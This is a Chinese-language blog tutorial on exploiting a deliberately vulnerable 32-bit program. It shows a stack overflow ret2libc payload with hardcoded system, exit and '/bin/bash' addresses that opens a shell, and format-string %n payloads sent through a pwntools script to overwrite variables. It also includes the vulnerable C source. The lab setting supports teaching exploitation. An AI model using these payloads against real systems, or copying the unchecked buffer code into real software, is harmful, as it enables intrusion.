栈溢出漏洞攻击 分析

一、栈溢出下的攻击(栈溢出+ret2libc,关闭DEP保护,关闭ASLR,32位系统)

思路:在函数返回时将返回地址控制到系统函数,例如system,然后找出“/bin/bash”的字符串地址。

前提:关闭地址随机化(ASLR):echo "0" > /proc/sys/kernel/randomize_va_space

代码:

gcc -g -fno-stack-protector -z execstack -o buffer_overflow buffer_overflow.c

 

读取的攻击代码前116字节为填充字符。

为啥时116字节,多出来的12字节的原因见该博主,大概意思就是gcc有堆栈优化,默认-mpreferred-stack-boundary选项是4。

\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x6d\x00\x00\x00\x61\x61\x61\x61\xa0\x3d\xe4\xb7\xd0\x79\xe3\xb7\x8a\xf3\xff\xbf

gdb调试时加断点:b 21  在21行设置断点,然后 r 运行 

构造攻击内容:填充字符+system地址+exit地址+“/bin/bash”地址

system地址:0xb7e43da0

exit地址:0xb7e379d0

查找/bin/bash的地址:x/10000s $esp 没几页就能找到以下字符串

“/bin/bash”地址:0xbffff38a

所以总构造内容:xa0\x3d\xe4\xb7\xd0\x79\xe3\xb7\x8a\xf3\xff\xbf

结果如下:

可以看到我们在/bin/sh下运行的gdb程序,在gdb中运行该攻击程序后,自动打开了/bin/bash终端,攻击成功。

添加Ubuntu的计算器环境变量,然后将/bin/bash地址替换成gnome-calculator的地址即可打开计算器:

gedit ~/.bashrc
export CALC=gnome-calculator                #添加环境变量

 

代码附录:

#include<stdio.h>

#include<stdlib.h>

#include<string.h>

FILE* g_fp;

 

void read_file(){

    char buf[100];

    int v,length=0;          

    g_fp=fopen("./buffer_overflow_code_injection_write_file.txt","r");

    if(g_fp==NULL)

    {

        printf("open file failed!\n");

        exit(1);

    }

    while (fscanf(g_fp, "\\x%02x", &v) == 1)

    {

        buf[length++] = v;

    }

    fclose(g_fp);

}

 

int main(int argc,char *argv[]){

    read_file();

    return 0;

}

 

 

二、格式化字符串漏洞:(关闭ASLR, 64位环境的32位程序)

环境配置:

1. 64位下的32位环境 -m32

sudo apt-get install gcc-multilib g++-multilib

2. peda插件安装

git clone https://github.com/longld/peda.git ~/peda

echo "source ~/peda/peda.py" >> ~/.gdbinit

3. gef插件安装

wget -q -O- https://github.com/hugsy/gef/raw/master/gef.sh | sh

wget -q -O ~/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py

echo source ~/.gdbinit-gef.py >> ~/.gdbinit

4. pwntools安装

pip install pwntools

 

格式化字符串原理

printf(s);如果s的输入是%08x.%08x.%08x

则从栈上依次取出3个数,造成内存的泄漏

printf函数入栈:

低地址:格式化字符串首地址   序号1

               参数1                             序号2

               参数2                             序号3

               参数3                             序号4

               ……

               ……

高地址:数组s的首地址            序号m(可以将此处看成printf参数m-1”)

 

我们通过调试找出序号n的数值,然后利用%n格式化字符串, 将已输出的字符个数存入序号m所对应的内存数值(此数值一般会做成地址),所以,我们会在序号m处先放入我们想修改的地址(假设我们想修改的地址为变量C的值)。

理论上,我们需要一个一个的弹栈,然后让%n正好在序号m处,但是我们可以利用%n$x来指定序号m, 如果经过调试,我们发现m的值为6,那么我们用%6$x来表示指定为printf函数后面参数的第6个参数,如果包含printf前面的格式化字符串的话,那么也可以称为printf的第7个参数。

这样我们构造一个payload = c的首地址(算4个字符) + 凑字符个数(假设为n个) + %6$x

实例:payload = p32(c_addr) + '%011d' + '%6$n'

这个payload的意思的是11+4的这个数(15)写入printf的参数6所对应的地址处,而这个地址由于是位于数组s[0](该处已被payload设置为c的地址,4字节),即15将被写入c地址,也就是变量c将被覆盖为数值15。

 

编译:gcc -m32 str.c -o str -fno-stack-protector -g

从调试上,我们可以看到当输入hello-world后,数组s的首地址是途中eax所指的地方,而esp所指的地方为返回地址,esp+4为格式化字符串首地址的参数入栈,esp+8为参数1,那么eax所在处即为参数6

       我们构造的payload用python打入程序中如下(在终端输入的时候\,x等也算一个单独的字符, 所以我们需要想办法将\x8c之类的作为一个字符输入进去):

from pwn import *

def forc():

    sh = process('./str')

    c_addr = int(sh.recvuntil('\n', drop=True), 16)

    print hex(c_addr)

    payload = p32(c_addr) + '%011d' + '%6$n' #修改c的值为15(c地址为4字节)

    print payload

    #gdb.attach(sh)

    sh.sendline(payload)

    print sh.recv()

    sh.interactive()

forc()

可以看到c的值打印出来是15了。

 

三、更改全局变量的值

如果我们要改成比地址字节更小的数,比如2,那么我们可以将地址放在%k$n后面,结构如下:

低地址:格式化字符串地址

                     参数1

                     参数2

                     ……

                     s首地址(参数7,设置为aa%8)

                     $8aa

                     存放&b(全局变量b的地址,可虚拟看成printf的参数9)

payload = 'aa%9$nbb' + p32(b_addr)  字符串不区分小端大端

可以看到变量b的值变为了2,因为%9$n前只有2个字符(aa),故数值2写入printf的参数9位置(参数9位置存放的是全局变量b的地址)。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值